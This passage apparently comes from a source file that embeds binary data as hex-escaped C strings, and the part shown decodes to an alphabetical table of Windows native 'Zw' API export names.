\"\\x70\\x61\\x72\\x65\\x54\\x6F\\x6B\\x65\\x6E\\x73\\x00\\x5A\\x77\\x43\\x6F\\x6D\"   //pareTokens.ZwCom\n/* 010600 */   \"\\x70\\x6C\\x65\\x74\\x65\\x43\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x50\\x6F\\x72\\x74\"   //pleteConnectPort\n/* 010620 */   \"\\x00\\x5A\\x77\\x43\\x6F\\x6D\\x70\\x72\\x65\\x73\\x73\\x4B\\x65\\x79\\x00\\x5A\"   //.ZwCompressKey.Z\n/* 010640 */   \"\\x77\\x43\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x50\\x6F\\x72\\x74\\x00\\x5A\\x77\\x43\"   //wConnectPort.ZwC\n/* 010660 */   \"\\x6F\\x6E\\x74\\x69\\x6E\\x75\\x65\\x00\\x5A\\x77\\x43\\x72\\x65\\x61\\x74\\x65\"   //ontinue.ZwCreate\n/* 010680 */   \"\\x44\\x65\\x62\\x75\\x67\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x5A\\x77\\x43\\x72\"   //DebugObject.ZwCr\n/* 0106A0 */   \"\\x65\\x61\\x74\\x65\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x4F\\x62\\x6A\"   //eateDirectoryObj\n/* 0106C0 */   \"\\x65\\x63\\x74\\x00\\x5A\\x77\\x43\\x72\\x65\\x61\\x74\\x65\\x45\\x76\\x65\\x6E\"   //ect.ZwCreateEven\n/* 0106E0 */   \"\\x74\\x00\\x5A\\x77\\x43\\x72\\x65\\x61\\x74\\x65\\x45\\x76\\x65\\x6E\\x74\\x50\"   //t.ZwCreateEventP\n/* 010700 */   \"\\x61\\x69\\x72\\x00\\x5A\\x77\\x43\\x72\\x65\\x61\\x74\\x65\\x46\\x69\\x6C\\x65\"   //air.ZwCreateFile\n/* 010720 */   \"\\x00\\x5A\\x77\\x43\\x72\\x65\\x61\\x74\\x65\\x49\\x6F\\x43\\x6F\\x6D\\x70\\x6C\"   //.ZwCreateIoCompl\n/* 010740 */   \"\\x65\\x74\\x69\\x6F\\x6E\\x00\\x5A\\x77\\x43\\x72\\x65\\x61\\x74\\x65\\x4A\\x6F\"   //etion.ZwCreateJo\n/* 010760 */   \"\\x62\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x5A\\x77\\x43\\x72\\x65\\x61\\x74\\x65\"   //bObject.ZwCreate\n/* 010780 */   \"\\x4A\\x6F\\x62\\x53\\x65\\x74\\x00\\x5A\\x77\\x43\\x72\\x65\\x61\\x74\\x65\\x4B\"   //JobSet.ZwCreateK\n/* 0107A0 */   \"\\x65\\x79\\x00\\x5A\\x77\\x43\\x72\\x65\\x61\\x74\\x65\\x4B\\x65\\x79\\x65\\x64\"   //ey.ZwCreateKeyed\n/* 0107C0 */   \"\\x45\\x76\\x65\\x6E\\x74\\x00\\x5A\\x77\\x43\\x72\\x65\\x61\\x74\\x65\\x4D\\x61\"   //Event.ZwCreateMa\n/* 0107E0 */   \"\\x69\\x6C\\x73\\x6C\\x6F\\x74\\x46\\x69\\x6C\\x65\\x00\\x5A\\x77\\x43\\x72\\x65\"   //ilslotFile.ZwCre\n/* 010800 */   \"\\x61\\x74\\x65\\x4D\\x75\\x74\\x61\\x6E\\x74\\x00\\x5A\\x77\\x43\\x72\\x65\\x61\"   //ateMutant.ZwCrea\n/* 010820 */   \"\\x74\\x65\\x4E\\x61\\x6D\\x65\\x64\\x50\\x69\\x70\\x65\\x46\\x69\\x6C\\x65\\x00\"   //teNamedPipeFile.\n/* 010840 */   \"\\x5A\\x77\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x61\\x67\\x69\\x6E\\x67\\x46\\x69\"   //ZwCreatePagingFi\n/* 010860 */   \"\\x6C\\x65\\x00\\x5A\\x77\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x6F\\x72\\x74\\x00\"   //le.ZwCreatePort.\n/* 010880 */   \"\\x5A\\x77\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\"   //ZwCreateProcess.\n/* 0108A0 */   \"\\x5A\\x77\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x45\"   //ZwCreateProcessE\n/* 0108C0 */   \"\\x78\\x00\\x5A\\x77\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x72\\x6F\\x66\\x69\\x6C\"   //x.ZwCreateProfil\n/* 0108E0 */   \"\\x65\\x00\\x5A\\x77\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x65\\x63\\x74\\x69\\x6F\"   //e.ZwCreateSectio\n/* 010900 */   \"\\x6E\\x00\\x5A\\x77\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x65\\x6D\\x61\\x70\\x68\"   //n.ZwCreateSemaph\n/* 010920 */   \"\\x6F\\x72\\x65\\x00\\x5A\\x77\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x79\\x6D\\x62\"   //ore.ZwCreateSymb\n/* 010940 */   \"\\x6F\\x6C\\x69\\x63\\x4C\\x69\\x6E\\x6B\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x5A\"   //olicLinkObject.Z\n/* 010960 */   \"\\x77\\x43\\x72\\x65\\x61\\x74\\x65\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x5A\\x77\"   //wCreateThread.Zw\n/* 010980 */   \"\\x43\\x72\\x65\\x61\\x74\\x65\\x54\\x69\\x6D\\x65\\x72\\x00\\x5A\\x77\\x43\\x72\"   //CreateTimer.ZwCr\n/* 0109A0 */   \"\\x65\\x61\\x74\\x65\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x5A\\x77\\x43\\x72\\x65\\x61\"   //eateToken.ZwCrea\n/* 0109C0 */   \"\\x74\\x65\\x57\\x61\\x69\\x74\\x61\\x62\\x6C\\x65\\x50\\x6F\\x72\\x74\\x00\\x5A\"   //teWaitablePort.Z\n/* 0109E0 */   \"\\x77\\x44\\x65\\x62\\x75\\x67\\x41\\x63\\x74\\x69\\x76\\x65\\x50\\x72\\x6F\\x63\"   //wDebugActiveProc\n/* 010A00 */   \"\\x65\\x73\\x73\\x00\\x5A\\x77\\x44\\x65\\x62\\x75\\x67\\x43\\x6F\\x6E\\x74\\x69\"   //ess.ZwDebugConti\n/* 010A20 */   \"\\x6E\\x75\\x65\\x00\\x5A\\x77\\x44\\x65\\x6C\\x61\\x79\\x45\\x78\\x65\\x63\\x75\"   //nue.ZwDelayExecu\n/* 010A40 */   \"\\x74\\x69\\x6F\\x6E\\x00\\x5A\\x77\\x44\\x65\\x6C\\x65\\x74\\x65\\x41\\x74\\x6F\"   //tion.ZwDeleteAto\n/* 010A60 */   \"\\x6D\\x00\\x5A\\x77\\x44\\x65\\x6C\\x65\\x74\\x65\\x42\\x6F\\x6F\\x74\\x45\\x6E\"   //m.ZwDeleteBootEn\n/* 010A80 */   \"\\x74\\x72\\x79\\x00\\x5A\\x77\\x44\\x65\\x6C\\x65\\x74\\x65\\x46\\x69\\x6C\\x65\"   //try.ZwDeleteFile\n/* 010AA0 */   \"\\x00\\x5A\\x77\\x44\\x65\\x6C\\x65\\x74\\x65\\x4B\\x65\\x79\\x00\\x5A\\x77\\x44\"   //.ZwDeleteKey.ZwD\n/* 010AC0 */   \"\\x65\\x6C\\x65\\x74\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x41\\x75\\x64\\x69\\x74\"   //eleteObjectAudit\n/* 010AE0 */   \"\\x41\\x6C\\x61\\x72\\x6D\\x00\\x5A\\x77\\x44\\x65\\x6C\\x65\\x74\\x65\\x56\\x61\"   //Alarm.ZwDeleteVa\n/* 010B00 */   \"\\x6C\\x75\\x65\\x4B\\x65\\x79\\x00\\x5A\\x77\\x44\\x65\\x76\\x69\\x63\\x65\\x49\"   //lueKey.ZwDeviceI\n/* 010B20 */   \"\\x6F\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x46\\x69\\x6C\\x65\\x00\\x5A\\x77\\x44\"   //oControlFile.ZwD\n/* 010B40 */   \"\\x69\\x73\\x70\\x6C\\x61\\x79\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x5A\\x77\\x44\"   //isplayString.ZwD\n/* 010B60 */   \"\\x75\\x70\\x6C\\x69\\x63\\x61\\x74\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x5A\"   //uplicateObject.Z\n/* 010B80 */   \"\\x77\\x44\\x75\\x70\\x6C\\x69\\x63\\x61\\x74\\x65\\x54\\x6F\\x6B\\x65\\x6E\\x00\"   //wDuplicateToken.\n/* 010BA0 */   \"\\x5A\\x77\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x42\\x6F\\x6F\\x74\\x45\"   //ZwEnumerateBootE\n/* 010BC0 */   \"\\x6E\\x74\\x72\\x69\\x65\\x73\\x00\\x5A\\x77\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\"   //ntries.ZwEnumera\n/* 010BE0 */   \"\\x74\\x65\\x4B\\x65\\x79\\x00\\x5A\\x77\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\"   //teKey.ZwEnumerat\n/* 010C00 */   \"\\x65\\x53\\x79\\x73\\x74\\x65\\x6D\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\"   //eSystemEnvironme\n/* 010C20 */   \"\\x6E\\x74\\x56\\x61\\x6C\\x75\\x65\\x73\\x45\\x78\\x00\\x5A\\x77\\x45\\x6E\\x75\"   //ntValuesEx.ZwEnu\n/* 010C40 */   \"\\x6D\\x65\\x72\\x61\\x74\\x65\\x56\\x61\\x6C\\x75\\x65\\x4B\\x65\\x79\\x00\\x5A\"   //merateValueKey.Z\n/* 010C60 */   \"\\x77\\x45\\x78\\x74\\x65\\x6E\\x64\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x00\\x5A\"   //wExtendSection.Z\n/* 010C80 */   \"\\x77\\x46\\x69\\x6C\\x74\\x65\\x72\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x5A\\x77\\x46\"   //wFilterToken.ZwF\n/* 010CA0 */   \"\\x69\\x6E\\x64\\x41\\x74\\x6F\\x6D\\x00\\x5A\\x77\\x46\\x6C\\x75\\x73\\x68\\x42\"   //indAtom.ZwFlushB\n/* 010CC0 */   \"\\x75\\x66\\x66\\x65\\x72\\x73\\x46\\x69\\x6C\\x65\\x00\\x5A\\x77\\x46\\x6C\\x75\"   //uffersFile.ZwFlu\n/* 010CE0 */   \"\\x73\\x68\\x49\\x6E\\x73\\x74\\x72\\x75\\x63\\x74\\x69\\x6F\\x6E\\x43\\x61\\x63\"   //shInstructionCac\n/* 010D00 */   \"\\x68\\x65\\x00\\x5A\\x77\\x46\\x6C\\x75\\x73\\x68\\x4B\\x65\\x79\\x00\\x5A\\x77\"   //he.ZwFlushKey.Zw\n/* 010D20 */   \"\\x46\\x6C\\x75\\x73\\x68\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x4D\\x65\\x6D\\x6F\"   //FlushVirtualMemo\n/* 010D40 */   \"\\x72\\x79\\x00\\x5A\\x77\\x46\\x6C\\x75\\x73\\x68\\x57\\x72\\x69\\x74\\x65\\x42\"   //ry.ZwFlushWriteB\n/* 010D60 */   \"\\x75\\x66\\x66\\x65\\x72\\x00\\x5A\\x77\\x46\\x72\\x65\\x65\\x55\\x73\\x65\\x72\"   //uffer.ZwFreeUser\n/* 010D80 */   \"\\x50\\x68\\x79\\x73\\x69\\x63\\x61\\x6C\\x50\\x61\\x67\\x65\\x73\\x00\\x5A\\x77\"   //PhysicalPages.Zw\n/* 010DA0 */   \"\\x46\\x72\\x65\\x65\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x4D\\x65\\x6D\\x6F\\x72\"   //FreeVirtualMemor\n/* 010DC0 */   \"\\x79\\x00\\x5A\\x77\\x46\\x73\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x46\\x69\\x6C\"   //y.ZwFsControlFil\n/* 010DE0 */   \"\\x65\\x00\\x5A\\x77\\x47\\x65\\x74\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x54\\x68\"   //e.ZwGetContextTh\n/* 010E00 */   \"\\x72\\x65\\x61\\x64\\x00\\x5A\\x77\\x47\\x65\\x74\\x44\\x65\\x76\\x69\\x63\\x65\"   //read.ZwGetDevice\n/* 010E20 */   \"\\x50\\x6F\\x77\\x65\\x72\\x53\\x74\\x61\\x74\\x65\\x00\\x5A\\x77\\x47\\x65\\x74\"   //PowerState.ZwGet\n/* 010E40 */   \"\\x50\\x6C\\x75\\x67\\x50\\x6C\\x61\\x79\\x45\\x76\\x65\\x6E\\x74\\x00\\x5A\\x77\"   //PlugPlayEvent.Zw\n/* 010E60 */   \"\\x47\\x65\\x74\\x57\\x72\\x69\\x74\\x65\\x57\\x61\\x74\\x63\\x68\\x00\\x5A\\x77\"   //GetWriteWatch.Zw\n/* 010E80 */   \"\\x49\\x6D\\x70\\x65\\x72\\x73\\x6F\\x6E\\x61\\x74\\x65\\x41\\x6E\\x6F\\x6E\\x79\"   //ImpersonateAnony\n/* 010EA0 */   \"\\x6D\\x6F\\x75\\x73\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x5A\\x77\\x49\\x6D\\x70\\x65\"   //mousToken.ZwImpe\n/* 010EC0 */   \"\\x72\\x73\\x6F\\x6E\\x61\\x74\\x65\\x43\\x6C\\x69\\x65\\x6E\\x74\\x4F\\x66\\x50\"   //rsonateClientOfP\n/* 010EE0 */   \"\\x6F\\x72\\x74\\x00\\x5A\\x77\\x49\\x6D\\x70\\x65\\x72\\x73\\x6F\\x6E\\x61\\x74\"   //ort.ZwImpersonat\n/* 010F00 */   \"\\x65\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x5A\\x77\\x49\\x6E\\x69\\x74\\x69\\x61\"   //eThread.ZwInitia\n/* 010F20 */   \"\\x6C\\x69\\x7A\\x65\\x52\\x65\\x67\\x69\\x73\\x74\\x72\\x79\\x00\\x5A\\x77\\x49\"   //lizeRegistry.ZwI\n/* 010F40 */   \"\\x6E\\x69\\x74\\x69\\x61\\x74\\x65\\x50\\x6F\\x77\\x65\\x72\\x41\\x63\\x74\\x69\"   //nitiatePowerActi\n/* 010F60 */   \"\\x6F\\x6E\\x00\\x5A\\x77\\x49\\x73\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x49\\x6E\"   //on.ZwIsProcessIn\n/* 010F80 */   \"\\x4A\\x6F\\x62\\x00\\x5A\\x77\\x49\\x73\\x53\\x79\\x73\\x74\\x65\\x6D\\x52\\x65\"   //Job.ZwIsSystemRe\n/* 010FA0 */   \"\\x73\\x75\\x6D\\x65\\x41\\x75\\x74\\x6F\\x6D\\x61\\x74\\x69\\x63\\x00\\x5A\\x77\"   //sumeAutomatic.Zw\n/* 010FC0 */   \"\\x4C\\x69\\x73\\x74\\x65\\x6E\\x50\\x6F\\x72\\x74\\x00\\x5A\\x77\\x4C\\x6F\\x61\"   //ListenPort.ZwLoa\n/* 010FE0 */   \"\\x64\\x44\\x72\\x69\\x76\\x65\\x72\\x00\\x5A\\x77\\x4C\\x6F\\x61\\x64\\x4B\\x65\"   //dDriver.ZwLoadKe\n/* 011000 */   \"\\x79\\x00\\x5A\\x77\\x4C\\x6F\\x61\\x64\\x4B\\x65\\x79\\x32\\x00\\x5A\\x77\\x4C\"   //y.ZwLoadKey2.ZwL\n/* 011020 */   \"\\x6F\\x63\\x6B\\x46\\x69\\x6C\\x65\\x00\\x5A\\x77\\x4C\\x6F\\x63\\x6B\\x50\\x72\"   //ockFile.ZwLockPr\n/* 011040 */   \"\\x6F\\x64\\x75\\x63\\x74\\x41\\x63\\x74\\x69\\x76\\x61\\x74\\x69\\x6F\\x6E\\x4B\"   //oductActivationK\n/* 011060 */   \"\\x65\\x79\\x73\\x00\\x5A\\x77\\x4C\\x6F\\x63\\x6B\\x52\\x65\\x67\\x69\\x73\\x74\"   //eys.ZwLockRegist\n/* 011080 */   \"\\x72\\x79\\x4B\\x65\\x79\\x00\\x5A\\x77\\x4C\\x6F\\x63\\x6B\\x56\\x69\\x72\\x74\"   //ryKey.ZwLockVirt\n/* 0110A0 */   \"\\x75\\x61\\x6C\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x00\\x5A\\x77\\x4D\\x61\\x6B\\x65\"   //ualMemory.ZwMake\n/* 0110C0 */   \"\\x50\\x65\\x72\\x6D\\x61\\x6E\\x65\\x6E\\x74\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\"   //PermanentObject.\n/* 0110E0 */   \"\\x5A\\x77\\x4D\\x61\\x6B\\x65\\x54\\x65\\x6D\\x70\\x6F\\x72\\x61\\x72\\x79\\x4F\"   //ZwMakeTemporaryO\n/* 011100 */   \"\\x62\\x6A\\x65\\x63\\x74\\x00\\x5A\\x77\\x4D\\x61\\x70\\x55\\x73\\x65\\x72\\x50\"   //bject.ZwMapUserP\n/* 011120 */   \"\\x68\\x79\\x73\\x69\\x63\\x61\\x6C\\x50\\x61\\x67\\x65\\x73\\x00\\x5A\\x77\\x4D\"   //hysicalPages.ZwM\n/* 011140 */   \"\\x61\\x70\\x55\\x73\\x65\\x72\\x50\\x68\\x79\\x73\\x69\\x63\\x61\\x6C\\x50\\x61\"   //apUserPhysicalPa\n/* 011160 */   \"\\x67\\x65\\x73\\x53\\x63\\x61\\x74\\x74\\x65\\x72\\x00\\x5A\\x77\\x4D\\x61\\x70\"   //gesScatter.ZwMap\n/* 011180 */   \"\\x56\\x69\\x65\\x77\\x4F\\x66\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x00\\x5A\\x77\"   //ViewOfSection.Zw\n/* 0111A0 */   \"\\x4D\\x6F\\x64\\x69\\x66\\x79\\x42\\x6F\\x6F\\x74\\x45\\x6E\\x74\\x72\\x79\\x00\"   //ModifyBootEntry.\n/* 0111C0 */   \"\\x5A\\x77\\x4E\\x6F\\x74\\x69\\x66\\x79\\x43\\x68\\x61\\x6E\\x67\\x65\\x44\\x69\"   //ZwNotifyChangeDi\n/* 0111E0 */   \"\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x46\\x69\\x6C\\x65\\x00\\x5A\\x77\\x4E\\x6F\"   //rectoryFile.ZwNo\n/* 011200 */   \"\\x74\\x69\\x66\\x79\\x43\\x68\\x61\\x6E\\x67\\x65\\x4B\\x65\\x79\\x00\\x5A\\x77\"   //tifyChangeKey.Zw\n/* 011220 */   \"\\x4E\\x6F\\x74\\x69\\x66\\x79\\x43\\x68\\x61\\x6E\\x67\\x65\\x4D\\x75\\x6C\\x74\"   //NotifyChangeMult\n/* 011240 */   \"\\x69\\x70\\x6C\\x65\\x4B\\x65\\x79\\x73\\x00\\x5A\\x77\\x4F\\x70\\x65\\x6E\\x44\"   //ipleKeys.ZwOpenD\n/* 011260 */   \"\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x5A\"   //irectoryObject.Z\n/* 011280 */   \"\\x77\\x4F\\x70\\x65\\x6E\\x45\\x76\\x65\\x6E\\x74\\x00\\x5A\\x77\\x4F\\x70\\x65\"   //wOpenEvent.ZwOpe\n/* 0112A0 */   \"\\x6E\\x45\\x76\\x65\\x6E\\x74\\x50\\x61\\x69\\x72\\x00\\x5A\\x77\\x4F\\x70\\x65\"   //nEventPair.ZwOpe\n/* 0112C0 */   \"\\x6E\\x46\\x69\\x6C\\x65\\x00\\x5A\\x77\\x4F\\x70\\x65\\x6E\\x49\\x6F\\x43\\x6F\"   //nFile.ZwOpenIoCo\n/* 0112E0 */   \"\\x6D\\x70\\x6C\\x65\\x74\\x69\\x6F\\x6E\\x00\\x5A\\x77\\x4F\\x70\\x65\\x6E\\x4A\"   //mpletion.ZwOpenJ\n/* 011300 */   \"\\x6F\\x62\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x5A\\x77\\x4F\\x70\\x65\\x6E\\x4B\"   //obObject.ZwOpenK\n/* 011320 */   \"\\x65\\x79\\x00\\x5A\\x77\\x4F\\x70\\x65\\x6E\\x4B\\x65\\x79\\x65\\x64\\x45\\x76\"   //ey.ZwOpenKeyedEv\n/* 011340 */   \"\\x65\\x6E\\x74\\x00\\x5A\\x77\\x4F\\x70\\x65\\x6E\\x4D\\x75\\x74\\x61\\x6E\\x74\"   //ent.ZwOpenMutant\n/* 011360 */   \"\\x00\\x5A\\x77\\x4F\\x70\\x65\\x6E\\x4F\\x62\\x6A\\x65\\x63\\x74\\x41\\x75\\x64\"   //.ZwOpenObjectAud\n/* 011380 */   \"\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\\x00\\x5A\\x77\\x4F\\x70\\x65\\x6E\\x50\\x72\"   //itAlarm.ZwOpenPr\n/* 0113A0 */   \"\\x6F\\x63\\x65\\x73\\x73\\x00\\x5A\\x77\\x4F\\x70\\x65\\x6E\\x50\\x72\\x6F\\x63\"   //ocess.ZwOpenProc\n/* 0113C0 */   \"\\x65\\x73\\x73\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x5A\\x77\\x4F\\x70\\x65\\x6E\\x50\"   //essToken.ZwOpenP\n/* 0113E0 */   \"\\x72\\x6F\\x63\\x65\\x73\\x73\\x54\\x6F\\x6B\\x65\\x6E\\x45\\x78\\x00\\x5A\\x77\"   //rocessTokenEx.Zw\n/* 011400 */   \"\\x4F\\x70\\x65\\x6E\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x00\\x5A\\x77\\x4F\\x70\"   //OpenSection.ZwOp\n/* 011420 */   \"\\x65\\x6E\\x53\\x65\\x6D\\x61\\x70\\x68\\x6F\\x72\\x65\\x00\\x5A\\x77\\x4F\\x70\"   //enSemaphore.ZwOp\n/* 011440 */   \"\\x65\\x6E\\x53\\x79\\x6D\\x62\\x6F\\x6C\\x69\\x63\\x4C\\x69\\x6E\\x6B\\x4F\\x62\"   //enSymbolicLinkOb\n/* 011460 */   \"\\x6A\\x65\\x63\\x74\\x00\\x5A\\x77\\x4F\\x70\\x65\\x6E\\x54\\x68\\x72\\x65\\x61\"   //ject.ZwOpenThrea\n/* 011480 */   \"\\x64\\x00\\x5A\\x77\\x4F\\x70\\x65\\x6E\\x54\\x68\\x72\\x65\\x61\\x64\\x54\\x6F\"   //d.ZwOpenThreadTo\n/* 0114A0 */   \"\\x6B\\x65\\x6E\\x00\\x5A\\x77\\x4F\\x70\\x65\\x6E\\x54\\x68\\x72\\x65\\x61\\x64\"   //ken.ZwOpenThread\n/* 0114C0 */   \"\\x54\\x6F\\x6B\\x65\\x6E\\x45\\x78\\x00\\x5A\\x77\\x4F\\x70\\x65\\x6E\\x54\\x69\"   //TokenEx.ZwOpenTi\n/* 0114E0 */   \"\\x6D\\x65\\x72\\x00\\x5A\\x77\\x50\\x6C\\x75\\x67\\x50\\x6C\\x61\\x79\\x43\\x6F\"   //mer.ZwPlugPlayCo\n/* 011500 */   \"\\x6E\\x74\\x72\\x6F\\x6C\\x00\\x5A\\x77\\x50\\x6F\\x77\\x65\\x72\\x49\\x6E\\x66\"   //ntrol.ZwPowerInf\n/* 011520 */   \"\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x5A\\x77\\x50\\x72\\x69\\x76\\x69\"   //ormation.ZwPrivi\n/* 011540 */   \"\\x6C\\x65\\x67\\x65\\x43\\x68\\x65\\x63\\x6B\\x00\\x5A\\x77\\x50\\x72\\x69\\x76\"   //legeCheck.ZwPriv\n/* 011560 */   \"\\x69\\x6C\\x65\\x67\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x41\\x75\\x64\\x69\\x74\"   //ilegeObjectAudit\n/* 011580 */   \"\\x41\\x6C\\x61\\x72\\x6D\\x00\\x5A\\x77\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\"   //Alarm.ZwPrivileg\n/* 0115A0 */   \"\\x65\\x64\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\"   //edServiceAuditAl\n/* 0115C0 */   \"\\x61\\x72\\x6D\\x00\\x5A\\x77\\x50\\x72\\x6F\\x74\\x65\\x63\\x74\\x56\\x69\\x72\"   //arm.ZwProtectVir\n/* 0115E0 */   \"\\x74\\x75\\x61\\x6C\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x00\\x5A\\x77\\x50\\x75\\x6C\"   //tualMemory.ZwPul\n/* 011600 */   \"\\x73\\x65\\x45\\x76\\x65\\x6E\\x74\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x41\"   //seEvent.ZwQueryA\n/* 011620 */   \"\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x73\\x46\\x69\\x6C\\x65\\x00\\x5A\\x77\"   //ttributesFile.Zw\n/* 011640 */   \"\\x51\\x75\\x65\\x72\\x79\\x42\\x6F\\x6F\\x74\\x45\\x6E\\x74\\x72\\x79\\x4F\\x72\"   //QueryBootEntryOr\n/* 011660 */   \"\\x64\\x65\\x72\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x42\\x6F\\x6F\\x74\\x4F\"   //der.ZwQueryBootO\n/* 011680 */   \"\\x70\\x74\\x69\\x6F\\x6E\\x73\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x44\\x65\"   //ptions.ZwQueryDe\n/* 0116A0 */   \"\\x62\\x75\\x67\\x46\\x69\\x6C\\x74\\x65\\x72\\x53\\x74\\x61\\x74\\x65\\x00\\x5A\"   //bugFilterState.Z\n/* 0116C0 */   \"\\x77\\x51\\x75\\x65\\x72\\x79\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\\x4C\\x6F\\x63\"   //wQueryDefaultLoc\n/* 0116E0 */   \"\\x61\\x6C\\x65\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x44\\x65\\x66\\x61\\x75\"   //ale.ZwQueryDefau\n/* 011700 */   \"\\x6C\\x74\\x55\\x49\\x4C\\x61\\x6E\\x67\\x75\\x61\\x67\\x65\\x00\\x5A\\x77\\x51\"   //ltUILanguage.ZwQ\n/* 011720 */   \"\\x75\\x65\\x72\\x79\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x46\\x69\\x6C\"   //ueryDirectoryFil\n/* 011740 */   \"\\x65\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\"   //e.ZwQueryDirecto\n/* 011760 */   \"\\x72\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\"   //ryObject.ZwQuery\n/* 011780 */   \"\\x45\\x61\\x46\\x69\\x6C\\x65\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x45\\x76\"   //EaFile.ZwQueryEv\n/* 0117A0 */   \"\\x65\\x6E\\x74\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x46\\x75\\x6C\\x6C\\x41\"   //ent.ZwQueryFullA\n/* 0117C0 */   \"\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x73\\x46\\x69\\x6C\\x65\\x00\\x5A\\x77\"   //ttributesFile.Zw\n/* 0117E0 */   \"\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\"   //QueryInformation\n/* 011800 */   \"\\x41\\x74\\x6F\\x6D\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\"   //Atom.ZwQueryInfo\n/* 011820 */   \"\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x46\\x69\\x6C\\x65\\x00\\x5A\\x77\\x51\\x75\"   //rmationFile.ZwQu\n/* 011840 */   \"\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x4A\\x6F\"   //eryInformationJo\n/* 011860 */   \"\\x62\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x49\"   //bObject.ZwQueryI\n/* 011880 */   \"\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x50\\x6F\\x72\\x74\\x00\\x5A\"   //nformationPort.Z\n/* 0118A0 */   \"\\x77\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\"   //wQueryInformatio\n/* 0118C0 */   \"\\x6E\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\"   //nProcess.ZwQuery\n/* 0118E0 */   \"\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x54\\x68\\x72\\x65\\x61\"   //InformationThrea\n/* 011900 */   \"\\x64\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\"   //d.ZwQueryInforma\n/* 011920 */   \"\\x74\\x69\\x6F\\x6E\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\"   //tionToken.ZwQuer\n/* 011940 */   \"\\x79\\x49\\x6E\\x73\\x74\\x61\\x6C\\x6C\\x55\\x49\\x4C\\x61\\x6E\\x67\\x75\\x61\"   //yInstallUILangua\n/* 011960 */   